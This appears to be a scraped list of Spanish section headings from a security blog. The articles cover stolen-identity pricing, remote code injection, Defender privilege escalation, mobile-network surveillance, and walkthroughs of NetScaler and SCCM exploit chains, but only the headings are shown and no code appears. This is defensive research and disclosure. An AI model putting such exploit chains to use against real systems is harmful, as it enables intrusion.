ARTEX y el salto de los agentes ofensivos: cuando el harness importa mas que el modelo

¿Cuánto vales para un ciberdelincuente? Anatomía económica de una identidad robada

El precio de una persona

El precio no está en el dato. Está en la posibilidad de explotarlo.

Una tarjeta de crédito puede costar menos que una entrada de cine

El problema de las tarjetas no es sólo la tarjeta

Entonces, ¿cuánto cuesta una identidad completa?

El verdadero lujo: una identidad que parece real

Y entonces aparece el salto de precio

El mercado funciona como una cadena de suministro

La tarjeta es sólo el principio

El dato más caro puede ser el que menos sospechamos

¿Cuánto valdríamos entonces?

El verdadero negocio es la combinación

InjectSetConsole: inyección de código en procesos remotos sin VirtualAllocEx ni WriteProcessMemory

La mosca digital que tiene un cerebro conectado al mundo

El cerebro como un enorme grafo

La mosca que se dejó mapear

De un mapa neuronal a un sistema que funciona

Una mosca dentro de la realidad aumentada

No es un LLM jugando a ser una mosca

Y aquí llega el hype

El siguiente problema: embodiment

De la mosca a algo bastante más grande

La pequeña mosca abre una puerta bastante grande

RoguePlanet, ShieldBreak y ShieldCrash: cuando Microsoft Defender se convierte en la palanca para elevar privilegios

Conclusiones

Ghost Operators: cuando la red móvil se convierte en una plataforma de vigilancia

Una red invisible sobre la red

STA1: cuatro horas persiguiendo a un objetivo

Citizen Lab identificó 11 identidades de operadores pertenecientes a nueve países diferentes.

Diameter: cuando la identidad también puede ser un arma

IPX: el Internet de las operadoras

El fingerprint del atacante

STA2: cuando la SIM se convierte en el espía

El verdadero exploit es la confianza

¿Cómo detectar a un Ghost Operator?

Ghost Operators

CVE-2026-8452: diseccionando el Pre-Auth RCE de NetScaler que convirtió un heap overflow en un write-what-where

Antes de empezar: una pequeña precisión sobre CVE-2026-8452

1. El camino hasta el heap overflow

2. ¿Qué demonios hace realmente la canonicalización XML?

3. El parche es probablemente la pista más importante

4. PrefixList: el pequeño detalle que permite controlar el overflow

5. Del overflow a la corrupción de otro objeto

6. El salto importante: write-what-where

7. Encontrando algo útil que sobrescribir

8. Controlar RIP no significa automáticamente tener una shell

El problema de matar al proceso que acabas de comprometer

9. Señales y el mecanismo de recuperación

10. La cadena completa

El verdadero valor del patch diffing

Otra lección: el crash es solamente el principio

¿Por qué los appliances perimetrales son tan interesantes?

¿Cómo comprobar si el appliance cumple la condición de explotación?

Versiones afectadas y parche

El exploit

CVE-2026-47301: de una simple elevación de privilegios en SCCM a ejecución como SYSTEM

SCCM: un objetivo especialmente interesante

1. El punto de entrada: AdminService

2. El CAB como primitiva de escritura

3. De escribir un archivo a ejecutar código

4. Encontrar el Primary Site Server

evil_RID500.cab: demostrando el impacto

La cadena completa

Contramedidas

Del endpoint a la identidad: las técnicas de Red Team que están tomando el relevo

1. Identity-First Red Team

`evil_RID500.cab`: demostrando el impacto